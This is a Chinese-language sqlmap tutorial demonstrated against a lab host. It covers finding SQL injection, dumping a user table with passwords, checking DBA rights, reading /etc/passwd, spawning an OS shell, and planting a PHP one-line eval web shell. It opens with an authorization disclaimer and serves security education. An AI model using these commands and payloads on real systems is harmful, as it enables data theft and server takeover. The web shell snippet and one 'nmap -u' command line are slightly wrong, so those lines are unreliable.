sql注入, sqlmap工具
请注意,在实际操作中使用sqlmap测试和利用SQL注入等安全漏洞应始终符合法律法规和道德准则,并且需要在拥有明确授权的情况下进行。在没有获得适当授权的情况下对任何系统或网络进行渗透测试都是非法的。
sqlmap是由python开发的测试sql注入的工具, 最新版本支持python3.
kali里面内置了sqlmap.
功能:
探测注入点, 数据库类型, webshell权限和路径, 拖库等.
测试级别:
测试级别控制sqlmap在测试SQL注入时发送的测试/负载数量和类型。level的取值范围是1-5, 默认1.
- Level 1:
这个级别包括了对于所有DBMS(数据库管理系统)都通用的基本负载。通常这个级别下的负载很有可能触发一个基础的SQL注入。 - Level 2:
这个级别通常包括DBMS特定的负载,相较于Level 1,包含了更多的负载类型和数量,用于找出可能在Level 1中被遗漏的一些SQL注入点。 - Level 3-5:
这些级别包含了更复杂、更极端的测试负载,可能包括一些冷门的、非常规的或复杂的注入技术。随着级别的提升,测试变得更全面但同时也更消耗时间和资源。
风险值:
风险值控制sqlmap测试和执行时使用的负载“危险程度”。risk的取值范围是1-3. 默认1.
- Risk 1:
这个级别通常只使用标准的SQL注入技术,这些负载通常认为是安全的并且不会引发不良后果。 - Risk 2:
这个级别可能会使用一些会改变原有SQL语句逻辑的负载。例如,通过使用OR来替代AND,这可能会对应用产生潜在的影响。 - Risk 3:
这个级别包括了更加激进的负载,可能导致数据库的明显或损害性的变化。例如,使用WAITFOR DELAY的负载(在一些DBMS中)可能导致数据库挂起,而使用堆栈查询的负载则可能影响到数据库的性能。
一, sql注入测试
url: http://192.168.112.200/security/read.php?id=1
1. 注入测试
sqlmap -u "http://192.168.112.200/security/read.php?id=1"
2. 设置cookie
如果访问的url需要登录状态, 需要设置cookie
sqlmap -u "http://192.168.112.200/security/read.php?id=1" --cookie="PHPSESSID=641f93c51475f6ffa48838b1ee39e6cd"
3. Log说明:
[01:35:04] [INFO] testing connection to the target URL
[01:35:04] [INFO] testing if the target URL content is stable
[01:35:05] [INFO] target URL content is stable
[01:35:05] [INFO] testing if GET parameter 'id' is dynamic
[01:35:05] [INFO] GET parameter 'id' appears to be dynamic
[01:35:05] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[01:35:05] [INFO] testing for SQL injection on GET parameter 'id'sqlmap正在测试是否可以连接到目标URL。
sqlmap正在测试目标URL的内容是否稳定。它通过多次发送相同的请求来确认响应的一致性。
表明目标URL的内容在多次请求中保持一致,因此内容是稳定的。
测试GET参数'id'是否是动态的。它会尝试使用不同的'id'参数值并检查响应是否有任何变化,以确定参数是否影响响应的内容。
这表明改变'id'参数的值确实影响了响应的内容,即它是动态的
启发式(基本)测试表明GET参数'id'可能是可注入的,并且可能的数据库管理系统(DBMS)是'MySQL'。
这说明sqlmap在'id'参数上找到了某些可以识别为SQL注入的模式或行为。
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] sqlmap认为目标后端数据库系统是'MySQL',它询问是否跳过针对其他数据库系统的测试载荷。
如果你按下'Y'或者直接回车,sqlmap将只发送适用于MySQL的测试载荷;
如果你按下'n',则会发送所有适用的测试载荷,不仅限于MySQL。
for the remaining tests, do you want to include all tests for 'MySQL'
extending provided level (1) and risk (1) values? [Y/n]询问是否要在接下来的测试中包括所有针对'MySQL'的测试,即使这些测试超出了之前提供的级别(level)和风险(risk)值。
[Y/n] 是一个交互提示:
- 如果你选择 "Y" 或直接按下回车键,`sqlmap` 将会执行所有针对'MySQL'的测试,包括那些超出了原始设定级别和风险值的测试。
- 如果你选择 "n",`sqlmap`将会严格按照原始的级别和风险值进行测试,不包括那些超出这些值的测试。
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]sqlmap在询问你在确认了 'id' 参数存在SQL注入漏洞后,是否想要继续测试其他的参数(如果有的话)。
- 如果输入 "y" 或者按下回车键,sqlmap将继续检查其他GET参数(如果存在的话)是否也存在SQL注入的漏洞。
- 如果输入 "N",sqlmap将停止进一步的测试并保持当前的状态。
由于"N"是大写的,它是默认选项,如果你直接按下回车键而不输入任何内容,它将选择"N"。
sqlmap identified the following injection point(s) with a total of 57 HTTP(s) requests:
---
Parameter: id (GET)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: id=1 AND 2531=2531Type: error-basedTitle: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)Payload: id=1 OR (SELECT 3318 FROM(SELECT COUNT(*),CONCAT(0x716a767a71,(SELECT (ELT(3318=3318,1))),0x71767a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: id=1 AND (SELECT 2865 FROM (SELECT(SLEEP(5)))Qfzi)Type: UNION queryTitle: Generic UNION query (NULL) - 6 columnsPayload: id=-3335 UNION ALL SELECTNULL,NULL,CONCAT(0x716a767a71,0x426e7a424e504d6d794d434554467a484762477962777570584e4e42686e665742726f726c587944,0x71767a7071),NULL,NULL,NULL-- -
---
[01:47:44] [INFO] the back-end DBMS is MySQL
[01:47:44] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
web application technology: PHP 7.3.29, Apache 2.4.48
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[01:47:44] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.112.200'1. **找到的SQL注入点**- `sqlmap`通过一系列的HTTP请求(总共57次)确定了一个或多个注入点。2. **Parameter: id (GET)**- 发现的注入点在GET方法的'id'参数上。3. **各种类型的SQL注入**- **Boolean-based blind SQL injection**- 使用布尔逻辑来确定可以提取的信息,一般会更改查询来观察响应的变化。- `id=1 AND 2531=2531` 是其载荷实例。- **Error-based SQL injection**- 利用数据库的错误信息来提取数据。- `id=1 OR (SELECT 3318 FROM(SELECT COUNT(*),CONCAT(0x716a767a71,(SELECT (ELT(3318=3318,1))),0x71767a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)` 是其载荷实例。- **Time-based blind SQL injection**- 通过观察查询导致的响应延迟来提取数据。- `id=1 AND (SELECT 2865 FROM (SELECT(SLEEP(5)))Qfzi)` 是其载荷实例。- **UNION query SQL injection**- 通过`UNION` SQL运算符插入恶意查询来从数据库中检索数据。- `id=-3335 UNION ALL SELECT NULL,NULL,CONCAT(0x716a767a71,0x426e7a424e504d6d794d434554467a484762477962777570584e4e42686e665742726f726c587944,0x71767a7071),NULL,NULL,NULL-- -` 是其载荷实例。4. **关于后端DBMS的信息**- `sqlmap`确认后端数据库管理系统(DBMS)是MySQL。- 在测试过程中,sqlmap似乎遇到了连接到目标URL的问题,但它将尝试重新发送请求。5. **技术栈信息**- web应用程序使用的技术栈包括PHP 7.3.29和Apache 2.4.48。6. **后端DBMS详细信息**- 后端DBMS被确定为MySQL的一个版本(或MariaDB的一个分支),版本号应该是5.0或更高。7. **输出存储位置**- 所获取的数据和/或sqlmap的输出被记录并存储在`/root/.local/share/sqlmap/output/192.168.112.200`目录下。
4. 手工验证
根据测试报告中给出的各种类型注入的payload手动测试, 替换成自己需要的数据.
修改前:
id=1 OR (SELECT 3318 FROM(SELECT COUNT(*),CONCAT(0x716a767a71,(SELECT (ELT(3318=3318,1))),0x71767a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
输出结果:
Warning: mysqli_query(): (23000/1062): Duplicate entry 'qjvzq1qvzpq1' for key 'group_key'
修改后:
id=1 OR (SELECT 3318 FROM(SELECT COUNT(*),CONCAT(0x716a767a71, database(),0x71767a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
输出数据库名:
Warning: mysqli_query(): (23000/1062): Duplicate entry 'qjvzqlearnqvzpq1' for key 'group_key'
5. 清空测试缓存, --flush-session
如果之前对url进行过测试, 那么重复执行测试会很快出现结果.
如果想重新测试, 需要清空缓存.
sqlmap -u "http://192.168.112.200/security/read.php?id=1" --flush-session
6. 指定数据库类型, --dbms
在已知数据库类型时使用这个参数可以加快测试速度.
sqlmap -u "http://192.168.112.200/security/read.php?id=1" --dbms=mysql
7. 提升测试等级, --level
在默认测试后没有发现注入点时可以尝试提升等级
sqlmap -u "http://192.168.112.200/security/read.php?id=1" --dbms=mysql --level=5
8. 省略交互过程进行批处理, --batch
sqlmap -u "http://192.168.112.200/security/read.php?id=1" --batch
二, 拖库
查看所有数据库, --dbs
sqlmap -u "http://192.168.112.200/security/read.php?id=1" --dbs
查看当前数据库, --current-db
sqlmap -u "http://192.168.112.200/security/read.php?id=1" --current-db
查看库中所有表, --tables -D “数据库名”
不指定数据库名则查询出所有库的所有表
sqlmap -u "http://192.168.112.200/security/read.php?id=1" --tables
查询指定数据库的所有表
sqlmap -u "http://192.168.112.200/security/read.php?id=1" --tables -D "learn"
查看表中的所有列, --columns -T “表名” -D “数据库名”
sqlmap -u "http://192.168.112.200/security/read.php?id=1" --columns -T "user" -D "learn"
查看并导出表中的所有数据, --dump -C “列名1,列名2,列名3,…” -T “表名” -D “learn”
sqlmap -u "http://192.168.112.200/security/read.php?id=1" --dump -C "userid,username,password" -T "user" -D "learn"
查询的结果会保存到本地的csv文件中, 具体路径请查看终端输出的信息.
cat /root/.local/share/sqlmap/output/192.168.112.200/dump/learn/user.csv
三, 判断 DBA 权限
判断是否是DBA, --is-dba
sqlmap -u "http://192.168.112.200/security/read.php?id=1" --is-dba
输出: current user is DBA: True
四, 上传木马文件
1. 自动测试并上传木马文件, 支持多种语言的后端, --os-shell
执行过程: sqlmap猜测能够上传的路径, 然后尝试上传木马文件
sqlmap -u "http://192.168.112.200/security/read.php?id=1" --os-shell
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)它在询问目标服务器支持的语言, 默认是php, 选择后开始测试上传.
自动上传如果失败了就考虑手工测试.
2. 手工读取服务器文件, 上传文件
- 读取服务器上的文件, --file-read “路径”
sqlmap -u "http://192.168.112.200/security/read.php?id=1" --file-read "/etc/passwd"
do you want confirmation that the remote file '/etc/passwd' has been successfully downloaded from the back-end DBMS file system?
它在询问是否确认远程文件passwd已经从服务器下载了, 确认后可以查看下载到的文件.
files saved to [1]:
[*] /root/.local/share/sqlmap/output/192.168.112.200/files/_etc_passwd (same file)
查看文件
cat /root/.local/share/sqlmap/output/192.168.112.200/files/_etc_passwd
- 上传文件, --file-write 源路径 --file-dest 目标路径
准备一个前面讲过的一句话木马文件 mm.php, 比如:
<?php @eval($_POST(['cmd']));?>
sqlmap上传
sqlmap -u "http://192.168.112.200/security/read.php?id=1"
--file-write ./mm.php --file-dest /opt/lampp/htdocs/security/test/mm.php
[WARNING] it looks like the file has not been written (usually occurs
if the DBMS process user has no write privileges in the destination path)
写入失败
可能因为路径不存在, 或者没有写入的权限.[INFO] the remote file '/opt/lampp/htdocs/security/test/mm.php' is larger (37 B) than the local file 'mm.php' (32B)
写入成功
在不确定哪个目录由写权限的情况下, 也可以使用python执行sqlmap命令, 根据执行结果判断是否成功.
resp = os.popen("nmap -u ... --batch").read()
五, POST 类型注入
1. 获取 post 请求数据
post 请求的正文可以通过burpsuit截取, [右键] “coupy to file” 保存到文件中.
请求中已经包含了url, cookie等信息. 命令中就不需要再写了. 例如:
POST /security/read.php HTTP/1.1
Host: 192.168.112.200
User-Agent: Mozi1la/5.0 (windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xm],application/xm];q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip,deflate
DNT:1
Cookie: PHPSESSID=641f93c51475f6ffa48838b1ee39e6cd
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 4id=1
2. POST 请求注入, -r “post文件路径” -p 参数名
- 当post请求只提交单个参数时, 不需要指定参数名.
比如: id=1
sqlmap -r ./sql_post.txt
- 当post请求中提交的参数有多个, 那么可以通过 -p 来指定需要测试注入的那个参数.
比如: id=1&uname=root&pwd=xxxxxx, 其中 id 是注入测试的位置
sqlmap -r ./sql_post.txt -p id